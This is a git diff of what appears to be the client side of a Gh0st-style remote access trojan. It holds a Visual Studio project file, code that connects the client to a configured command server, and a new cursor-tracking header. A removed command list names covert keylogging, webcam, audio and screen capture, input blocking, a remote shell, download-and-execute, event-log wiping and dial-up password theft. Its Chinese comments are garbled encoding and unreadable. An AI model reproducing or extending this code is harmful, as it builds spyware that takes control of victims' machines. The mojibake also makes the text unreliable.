<IncludePath>./d3d;$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(IncludePath)</IncludePath>
|
||||||
|
<IntDir>$(Configuration)\dll</IntDir>
|
||||||
|
</PropertyGroup>
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||||
|
<ClCompile>
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
<Optimization>Disabled</Optimization>
|
||||||
|
<AdditionalIncludeDirectories>$(SolutionDir);./;$(WindowsSdkDir_81)Include\um;$(WindowsSdkDir_81)Include\shared;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||||
|
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||||
|
<PreprocessorDefinitions>ZLIB_WINAPI;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
<MultiProcessorCompilation>true</MultiProcessorCompilation>
|
||||||
|
<MinimalRebuild>false</MinimalRebuild>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
|
<AdditionalDependencies>zlib.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||||
|
<IgnoreSpecificDefaultLibraries>libcmt.lib</IgnoreSpecificDefaultLibraries>
|
||||||
|
</Link>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||||
|
<ClCompile>
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
<Optimization>MaxSpeed</Optimization>
|
||||||
|
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||||
|
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||||
|
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||||
|
<AdditionalIncludeDirectories>$(SolutionDir);./;$(WindowsSdkDir_81)Include\um;$(WindowsSdkDir_81)Include\shared;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||||
|
<PreprocessorDefinitions>ZLIB_WINAPI;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
<MultiProcessorCompilation>true</MultiProcessorCompilation>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
|
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||||
|
<OptimizeReferences>true</OptimizeReferences>
|
||||||
|
<AdditionalDependencies>zlib.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||||
|
<AdditionalOptions> /SAFESEH:NO %(AdditionalOptions)</AdditionalOptions>
|
||||||
|
</Link>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClCompile Include="Audio.cpp" />
|
||||||
|
<ClCompile Include="AudioManager.cpp" />
|
||||||
|
<ClCompile Include="Buffer.cpp" />
|
||||||
|
<ClCompile Include="CaptureVideo.cpp" />
|
||||||
|
<ClCompile Include="ClientDll.cpp" />
|
||||||
|
<ClCompile Include="Common.cpp" />
|
||||||
|
<ClCompile Include="FileManager.cpp" />
|
||||||
|
<ClCompile Include="IOCPClient.cpp" />
|
||||||
|
<ClCompile Include="KernelManager.cpp" />
|
||||||
|
<ClCompile Include="LoginServer.cpp" />
|
||||||
|
<ClCompile Include="Manager.cpp" />
|
||||||
|
<ClCompile Include="RegisterManager.cpp" />
|
||||||
|
<ClCompile Include="RegisterOperation.cpp" />
|
||||||
|
<ClCompile Include="ScreenManager.cpp" />
|
||||||
|
<ClCompile Include="ScreenSpy.cpp" />
|
||||||
|
<ClCompile Include="ServicesManager.cpp" />
|
||||||
|
<ClCompile Include="ShellManager.cpp" />
|
||||||
|
<ClCompile Include="StdAfx.cpp" />
|
||||||
|
<ClCompile Include="SystemManager.cpp" />
|
||||||
|
<ClCompile Include="TalkManager.cpp" />
|
||||||
|
<ClCompile Include="VideoManager.cpp" />
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClInclude Include="..\common\commands.h" />
|
||||||
|
<ClInclude Include="Audio.h" />
|
||||||
|
<ClInclude Include="AudioManager.h" />
|
||||||
|
<ClInclude Include="Buffer.h" />
|
||||||
|
<ClInclude Include="CaptureVideo.h" />
|
||||||
|
<ClInclude Include="Common.h" />
|
||||||
|
<ClInclude Include="CursorInfo.h" />
|
||||||
|
<ClInclude Include="FileManager.h" />
|
||||||
|
<ClInclude Include="IOCPClient.h" />
|
||||||
|
<ClInclude Include="KernelManager.h" />
|
||||||
|
<ClInclude Include="LoginServer.h" />
|
||||||
|
<ClInclude Include="Manager.h" />
|
||||||
|
<ClInclude Include="RegisterManager.h" />
|
||||||
|
<ClInclude Include="RegisterOperation.h" />
|
||||||
|
<ClInclude Include="resource.h" />
|
||||||
|
<ClInclude Include="ScreenManager.h" />
|
||||||
|
<ClInclude Include="ScreenSpy.h" />
|
||||||
|
<ClInclude Include="ServicesManager.h" />
|
||||||
|
<ClInclude Include="ShellManager.h" />
|
||||||
|
<ClInclude Include="StdAfx.h" />
|
||||||
|
<ClInclude Include="SystemManager.h" />
|
||||||
|
<ClInclude Include="TalkManager.h" />
|
||||||
|
<ClInclude Include="VideoCodec.h" />
|
||||||
|
<ClInclude Include="VideoManager.h" />
|
||||||
|
<ClInclude Include="zconf.h" />
|
||||||
|
<ClInclude Include="zlib.h" />
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ResourceCompile Include="Script.rc" />
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<None Include="ExportFunTable.def" />
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<Media Include="Res\msg.wav" />
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<Image Include="Res\ghost.ico" />
|
||||||
|
<Image Include="Res\msg.ico" />
|
||||||
|
</ItemGroup>
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||||
|
<ImportGroup Label="ExtensionTargets">
|
||||||
|
</ImportGroup>
|
||||||
|
</Project>
|
||||||
@@ -12,8 +12,7 @@
|
|||||||
#include "VideoManager.h"
|
#include "VideoManager.h"
|
||||||
#include "KernelManager.h"
|
#include "KernelManager.h"
|
||||||
|
|
||||||
extern char g_szServerIP[MAX_PATH];
|
extern CONNECT_ADDRESS g_SETTINGS;
|
||||||
extern unsigned short g_uPort;
|
|
||||||
|
|
||||||
HANDLE _CreateThread (LPSECURITY_ATTRIBUTES SecurityAttributes,
|
HANDLE _CreateThread (LPSECURITY_ATTRIBUTES SecurityAttributes,
|
||||||
SIZE_T dwStackSize,
|
SIZE_T dwStackSize,
|
||||||
@@ -31,9 +30,10 @@ HANDLE _CreateThread (LPSECURITY_ATTRIBUTES SecurityAttributes,
|
|||||||
hThread = (HANDLE)CreateThread(SecurityAttributes,
|
hThread = (HANDLE)CreateThread(SecurityAttributes,
|
||||||
dwStackSize,(LPTHREAD_START_ROUTINE)ThreadProc, &ThreadArgList,
|
dwStackSize,(LPTHREAD_START_ROUTINE)ThreadProc, &ThreadArgList,
|
||||||
dwCreationFlags, (LPDWORD)ThreadId);
|
dwCreationFlags, (LPDWORD)ThreadId);
|
||||||
|
if (ThreadArgList.hEvent != NULL) {
|
||||||
WaitForSingleObject(ThreadArgList.hEvent, INFINITE);
|
WaitForSingleObject(ThreadArgList.hEvent, INFINITE);
|
||||||
CloseHandle(ThreadArgList.hEvent);
|
CloseHandle(ThreadArgList.hEvent);
|
||||||
|
}
|
||||||
|
|
||||||
return hThread;
|
return hThread;
|
||||||
}
|
}
|
||||||
@@ -52,7 +52,7 @@ template <class Manager, int n> DWORD WINAPI LoopManager(LPVOID lParam)
|
|||||||
{
|
{
|
||||||
ThreadInfo *pInfo = (ThreadInfo *)lParam;
|
ThreadInfo *pInfo = (ThreadInfo *)lParam;
|
||||||
IOCPClient *ClientObject = pInfo->p;
|
IOCPClient *ClientObject = pInfo->p;
|
||||||
if (ClientObject->ConnectServer(g_szServerIP,g_uPort))
|
if (ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort()))
|
||||||
{
|
{
|
||||||
Manager m(ClientObject, n);
|
Manager m(ClientObject, n);
|
||||||
ClientObject->RunEventLoop(pInfo->run);
|
ClientObject->RunEventLoop(pInfo->run);
|
||||||
|
|||||||
121
client/Common.h
@@ -1,126 +1,7 @@
|
|||||||
#pragma once
|
#pragma once
|
||||||
|
|
||||||
#include "IOCPClient.h"
|
#include "IOCPClient.h"
|
||||||
|
#include "common/commands.h"
|
||||||
enum
|
|
||||||
{
|
|
||||||
// <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>䷽ʽ
|
|
||||||
TRANSFER_MODE_NORMAL = 0x00, // һ<><D2BB>,<2C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ػ<EFBFBD><D8BB><EFBFBD>Զ<EFBFBD><D4B6><EFBFBD>Ѿ<EFBFBD><D1BE>У<EFBFBD>ȡ<EFBFBD><C8A1>
|
|
||||||
TRANSFER_MODE_ADDITION, // <><D7B7>
|
|
||||||
TRANSFER_MODE_ADDITION_ALL, // ȫ<><C8AB><EFBFBD><D7B7>
|
|
||||||
TRANSFER_MODE_OVERWRITE, // <20><><EFBFBD><EFBFBD>
|
|
||||||
TRANSFER_MODE_OVERWRITE_ALL, // ȫ<><C8AB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|
||||||
TRANSFER_MODE_JUMP, // <20><><EFBFBD><EFBFBD>
|
|
||||||
TRANSFER_MODE_JUMP_ALL, // ȫ<><C8AB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|
||||||
TRANSFER_MODE_CANCEL, // ȡ<><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|
||||||
|
|
||||||
// <20><><EFBFBD>ƶ˷<C6B6><CBB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|
||||||
COMMAND_ACTIVED = 0x00, // <20><><EFBFBD><EFBFBD><EFBFBD>˿<EFBFBD><CBBF>Լ<EFBFBD><D4BC>ʼ<EEBFAA><CABC><EFBFBD><EFBFBD>
|
|
||||||
COMMAND_LIST_DRIVE, // <20>г<EFBFBD><D0B3><EFBFBD><EFBFBD><EFBFBD>Ŀ¼
|
|
||||||
COMMAND_LIST_FILES, // <20>г<EFBFBD>Ŀ¼<C4BF>е<EFBFBD><D0B5>ļ<EFBFBD>
|
|
||||||
COMMAND_DOWN_FILES, // <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>
|
|
||||||
COMMAND_FILE_SIZE, // <20>ϴ<EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>С
|
|
||||||
COMMAND_FILE_DATA, // <20>ϴ<EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
|
|
||||||
COMMAND_EXCEPTION, // <20><><EFBFBD>䷢<EFBFBD><E4B7A2><EFBFBD>쳣<EFBFBD><ECB3A3><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA><EFBFBD>´<EFBFBD><C2B4><EFBFBD>
|
|
||||||
COMMAND_CONTINUE, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|
||||||
COMMAND_STOP, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֹ
|
|
||||||
COMMAND_DELETE_FILE, // ɾ<><C9BE><EFBFBD>ļ<EFBFBD>
|
|
||||||
COMMAND_DELETE_DIRECTORY, // ɾ<><C9BE>Ŀ¼
|
|
||||||
COMMAND_SET_TRANSFER_MODE, // <20><><EFBFBD>ô<EFBFBD><C3B4>䷽ʽ
|
|
||||||
COMMAND_CREATE_FOLDER, // <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>
|
|
||||||
COMMAND_RENAME_FILE, // <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
|
|
||||||
COMMAND_OPEN_FILE_SHOW, // <20><>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>
|
|
||||||
COMMAND_OPEN_FILE_HIDE, // <20><><EFBFBD>ش<EFBFBD><D8B4><EFBFBD><EFBFBD>ļ<EFBFBD>
|
|
||||||
|
|
||||||
COMMAND_SCREEN_SPY, // <20><>Ļ<EFBFBD>鿴
|
|
||||||
COMMAND_SCREEN_RESET, // <20>ı<EFBFBD><C4B1><EFBFBD>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD>
|
|
||||||
COMMAND_ALGORITHM_RESET, // <20>ı<EFBFBD><C4B1>㷨
|
|
||||||
COMMAND_SCREEN_CTRL_ALT_DEL, // <20><><EFBFBD><EFBFBD>Ctrl+Alt+Del
|
|
||||||
COMMAND_SCREEN_CONTROL, // <20><>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD>
|
|
||||||
COMMAND_SCREEN_BLOCK_INPUT, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˼<EFBFBD><CBBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|
||||||
COMMAND_SCREEN_BLANK, // <20><><EFBFBD><EFBFBD><EFBFBD>˺<EFBFBD><CBBA><EFBFBD>
|
|
||||||
COMMAND_SCREEN_CAPTURE_LAYER, // <20><><EFBFBD><D7BD>
|
|
||||||
COMMAND_SCREEN_GET_CLIPBOARD, // <20><>ȡԶ<C8A1>̼<EFBFBD><CCBC><EFBFBD><EFBFBD><EFBFBD>
|
|
||||||
COMMAND_SCREEN_SET_CLIPBOARD, // <20><><EFBFBD><EFBFBD>Զ<EFBFBD>̼<EFBFBD><CCBC><EFBFBD><EFBFBD><EFBFBD>
|
|
||||||
|
|
||||||
COMMAND_WEBCAM, // <20><><EFBFBD><EFBFBD>ͷ
|
|
||||||
COMMAND_WEBCAM_ENABLECOMPRESS, // <20><><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD>Ҫ<EFBFBD><EFBFBD>H263ѹ<33><D1B9>
|
|
||||||
COMMAND_WEBCAM_DISABLECOMPRESS, // <20><><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA>ԭʼ<D4AD><CABC><EFBFBD><EFBFBD>ģʽ
|
|
||||||
COMMAND_WEBCAM_RESIZE, // <20><><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD><EFBFBD>ֱ<EFBFBD><D6B1>ʣ<EFBFBD><CAA3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>INT<4E>͵Ŀ<CDB5><C4BF><EFBFBD>
|
|
||||||
COMMAND_NEXT, // <20><>һ<EFBFBD><D2BB>(<28><><EFBFBD>ƶ<EFBFBD><C6B6>Ѿ<EFBFBD><D1BE>Ի<F2BFAAB6><D4BB><EFBFBD>)
|
|
||||||
|
|
||||||
COMMAND_KEYBOARD, // <20><><EFBFBD>̼<EFBFBD>¼
|
|
||||||
COMMAND_KEYBOARD_OFFLINE, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><DFBC>̼<EFBFBD>¼
|
|
||||||
COMMAND_KEYBOARD_CLEAR, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̼<EFBFBD>¼<EFBFBD><C2BC><EFBFBD><EFBFBD>
|
|
||||||
|
|
||||||
COMMAND_AUDIO, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|
||||||
|
|
||||||
COMMAND_SYSTEM, // ϵͳ<CFB5><CDB3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̣<EFBFBD><CCA3><EFBFBD><EFBFBD><EFBFBD>....<2E><>
|
|
||||||
COMMAND_PSLIST, // <20><><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
|
|
||||||
COMMAND_WSLIST, // <20><><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
|
|
||||||
COMMAND_DIALUPASS, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|
||||||
COMMAND_KILLPROCESS, // <20>رս<D8B1><D5BD><EFBFBD>
|
|
||||||
COMMAND_SHELL, // cmdshell
|
|
||||||
COMMAND_SESSION, // <20>Ự<EFBFBD><E1BBB0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ػ<EFBFBD><D8BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2>, ж<>أ<EFBFBD>
|
|
||||||
COMMAND_REMOVE, // ж<>غ<EFBFBD><D8BA><EFBFBD>
|
|
||||||
COMMAND_DOWN_EXEC, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> - <20><><EFBFBD><EFBFBD>ִ<EFBFBD><D6B4>
|
|
||||||
COMMAND_UPDATE_SERVER, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> - <20><><EFBFBD>ظ<EFBFBD><D8B8><EFBFBD>
|
|
||||||
COMMAND_CLEAN_EVENT, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> - <20><><EFBFBD><EFBFBD>ϵͳ<CFB5><CDB3>־
|
|
||||||
COMMAND_OPEN_URL_HIDE, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> - <20><><EFBFBD>ش<EFBFBD><D8B4><EFBFBD><EFBFBD><EFBFBD>ҳ
|
|
||||||
COMMAND_OPEN_URL_SHOW, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> - <20><>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ҳ
|
|
||||||
COMMAND_RENAME_REMARK, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע
|
|
||||||
COMMAND_REPLAY_HEARTBEAT, // <20>ظ<EFBFBD><D8B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|
||||||
COMMAND_SERVICES, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|
||||||
COMMAND_REGEDIT,
|
|
||||||
COMMAND_TALK, // <20><>ʱ<EFBFBD><CAB1>Ϣ<EFBFBD><CFA2>֤
|
|
||||||
|
|
||||||
// <20><><EFBFBD><EFBFBD><EFBFBD>˷<EFBFBD><CBB7><EFBFBD><EFBFBD>ı<EFBFBD>ʶ
|
|
||||||
TOKEN_AUTH = 100, // Ҫ<><D2AA><EFBFBD><EFBFBD>֤
|
|
||||||
TOKEN_HEARTBEAT, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|
||||||
TOKEN_LOGIN, // <20><><EFBFBD>߰<EFBFBD>
|
|
||||||
TOKEN_DRIVE_LIST, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
|
|
||||||
TOKEN_FILE_LIST, // <20>ļ<EFBFBD><C4BC>б<EFBFBD>
|
|
||||||
TOKEN_FILE_SIZE, // <20>ļ<EFBFBD><C4BC><EFBFBD>С<EFBFBD><D0A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>ʱ<EFBFBD><CAB1>
|
|
||||||
TOKEN_FILE_DATA, // <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
|
|
||||||
TOKEN_TRANSFER_FINISH, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|
||||||
TOKEN_DELETE_FINISH, // ɾ<><C9BE><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|
||||||
TOKEN_GET_TRANSFER_MODE, // <20>õ<EFBFBD><C3B5>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>䷽ʽ
|
|
||||||
TOKEN_GET_FILEDATA, // Զ<>̵õ<CCB5><C3B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
|
|
||||||
TOKEN_CREATEFOLDER_FINISH, // <20><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|
||||||
TOKEN_DATA_CONTINUE, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|
||||||
TOKEN_RENAME_FINISH, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|
||||||
TOKEN_EXCEPTION, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>쳣
|
|
||||||
|
|
||||||
TOKEN_BITMAPINFO, // <20><>Ļ<EFBFBD>鿴<EFBFBD><E9BFB4>BITMAPINFO
|
|
||||||
TOKEN_FIRSTSCREEN, // <20><>Ļ<EFBFBD>鿴<EFBFBD>ĵ<EFBFBD>һ<EFBFBD><D2BB>ͼ
|
|
||||||
TOKEN_NEXTSCREEN, // <20><>Ļ<EFBFBD>鿴<EFBFBD><E9BFB4><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>ͼ
|
|
||||||
TOKEN_CLIPBOARD_TEXT, // <20><>Ļ<EFBFBD>鿴ʱ<E9BFB4><CAB1><EFBFBD>ͼ<EFBFBD><CDBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|
||||||
|
|
||||||
TOKEN_WEBCAM_BITMAPINFO, // <20><><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7>BITMAPINFOHEADER
|
|
||||||
TOKEN_WEBCAM_DIB, // <20><><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7>ͼ<EFBFBD><CDBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|
||||||
|
|
||||||
TOKEN_AUDIO_START, // <20><>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|
||||||
TOKEN_AUDIO_DATA, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|
||||||
|
|
||||||
TOKEN_KEYBOARD_START, // <20><><EFBFBD>̼<EFBFBD>¼<EFBFBD><C2BC>ʼ
|
|
||||||
TOKEN_KEYBOARD_DATA, // <20><><EFBFBD>̼<EFBFBD>¼<EFBFBD><C2BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|
||||||
|
|
||||||
TOKEN_PSLIST, // <20><><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
|
|
||||||
TOKEN_WSLIST, // <20><><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
|
|
||||||
TOKEN_DIALUPASS, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|
||||||
TOKEN_SHELL_START, // Զ<><D4B6><EFBFBD>ն˿<D5B6>ʼ
|
|
||||||
TOKEN_SERVERLIST, // <20><><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
|
|
||||||
COMMAND_SERVICELIST, // ˢ<>·<EFBFBD><C2B7><EFBFBD><EFBFBD>б<EFBFBD>
|
|
||||||
COMMAND_SERVICECONFIG, // <20><><EFBFBD><EFBFBD><EFBFBD>˷<EFBFBD><CBB7><EFBFBD><EFBFBD>ı<EFBFBD>ʶ
|
|
||||||
TOKEN_TALK_START, // <20><>ʱ<EFBFBD><CAB1>Ϣ<EFBFBD><CFA2>ʼ
|
|
||||||
TOKEN_TALKCMPLT, // <20><>ʱ<EFBFBD><CAB1>Ϣ<EFBFBD><CFA2><EFBFBD>ط<EFBFBD>
|
|
||||||
TOKEN_REGEDIT = 200, // ע<><D7A2><EFBFBD><EFBFBD>
|
|
||||||
COMMAND_REG_FIND, //ע<><D7A2><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʶ
|
|
||||||
TOKEN_REG_KEY,
|
|
||||||
TOKEN_REG_PATH,
|
|
||||||
COMMAND_BYE
|
|
||||||
};
|
|
||||||
|
|
||||||
|
|
||||||
typedef struct _THREAD_ARG_LIST
|
typedef struct _THREAD_ARG_LIST
|
||||||
{
|
{
|
||||||
|
|||||||
85
client/CursorInfo.h
Normal file
@@ -0,0 +1,85 @@
|
|||||||
|
// CursorInfor.h: interface for the CCursorInfor class.
|
||||||
|
//
|
||||||
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
|
||||||
|
#if !defined(AFX_CURSORINFOR_H__ABC3705B_9461_4A94_B825_26539717C0D6__INCLUDED_)
|
||||||
|
#define AFX_CURSORINFOR_H__ABC3705B_9461_4A94_B825_26539717C0D6__INCLUDED_
|
||||||
|
|
||||||
|
#if _MSC_VER > 1000
|
||||||
|
#pragma once
|
||||||
|
#endif // _MSC_VER > 1000
|
||||||
|
|
||||||
|
#define MAX_CURSOR_TYPE 16
|
||||||
|
|
||||||
|
class CCursorInfo
|
||||||
|
{
|
||||||
|
private:
|
||||||
|
LPCTSTR m_CursorResArray[MAX_CURSOR_TYPE];
|
||||||
|
HCURSOR m_CursorHandleArray[MAX_CURSOR_TYPE];
|
||||||
|
|
||||||
|
public:
|
||||||
|
CCursorInfo()
|
||||||
|
{
|
||||||
|
LPCTSTR CursorResArray[MAX_CURSOR_TYPE] =
|
||||||
|
{
|
||||||
|
IDC_APPSTARTING,
|
||||||
|
IDC_ARROW,
|
||||||
|
IDC_CROSS,
|
||||||
|
IDC_HAND,
|
||||||
|
IDC_HELP,
|
||||||
|
IDC_IBEAM,
|
||||||
|
IDC_ICON,
|
||||||
|
IDC_NO,
|
||||||
|
IDC_SIZE,
|
||||||
|
IDC_SIZEALL,
|
||||||
|
IDC_SIZENESW,
|
||||||
|
IDC_SIZENS,
|
||||||
|
IDC_SIZENWSE,
|
||||||
|
IDC_SIZEWE,
|
||||||
|
IDC_UPARROW,
|
||||||
|
IDC_WAIT
|
||||||
|
};
|
||||||
|
|
||||||
|
for (int i = 0; i < MAX_CURSOR_TYPE; ++i)
|
||||||
|
{
|
||||||
|
m_CursorResArray[i] = CursorResArray[i];
|
||||||
|
m_CursorHandleArray[i] = LoadCursor(NULL, CursorResArray[i]);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
virtual ~CCursorInfo()
|
||||||
|
{
|
||||||
|
for (int i = 0; i < MAX_CURSOR_TYPE; ++i)
|
||||||
|
DestroyCursor(m_CursorHandleArray[i]);
|
||||||
|
}
|
||||||
|
|
||||||
|
int getCurrentCursorIndex()
|
||||||
|
{
|
||||||
|
CURSORINFO ci;
|
||||||
|
ci.cbSize = sizeof(CURSORINFO);
|
||||||
|
if (!GetCursorInfo(&ci) || ci.flags != CURSOR_SHOWING)
|
||||||
|
return -1;
|
||||||
|
|
||||||
|
int i;
|
||||||
|
for (i = 0; i < MAX_CURSOR_TYPE; ++i)
|
||||||
|
{
|
||||||
|
if (ci.hCursor == m_CursorHandleArray[i])
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
DestroyCursor(ci.hCursor);
|
||||||
|
|
||||||
|
int nIndex = i == MAX_CURSOR_TYPE ? -1 : i;
|
||||||
|
return nIndex;
|
||||||
|
}
|
||||||
|
|
||||||
|
HCURSOR getCursorHandle( int nIndex )
|
||||||
|
{
|
||||||
|
if (nIndex >= 0 && nIndex < MAX_CURSOR_TYPE)
|
||||||
|
return m_CursorHandleArray[nIndex];
|
||||||
|
else
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
|
||||||
|
#endif // !defined(AFX_CURSORINFOR_H__ABC3705B_9461_4A94_B825_26539717C0D6__INCLUDED_)
|
||||||
@@ -1,40 +0,0 @@
|
|||||||
// CursorInfor.cpp: implementation of the CCursorInfor class.
|
|
||||||
//
|
|
||||||
//////////////////////////////////////////////////////////////////////
|
|
||||||
|
|
||||||
#include "stdafx.h"
|
|
||||||
#include "CursorInfor.h"
|
|
||||||
|
|
||||||
|
|
||||||
//////////////////////////////////////////////////////////////////////
|
|
||||||
// Construction/Destruction
|
|
||||||
//////////////////////////////////////////////////////////////////////
|
|
||||||
|
|
||||||
CCursorInfor::CCursorInfor()
|
|
||||||
{
|
|
||||||
|
|
||||||
}
|
|
||||||
|
|
||||||
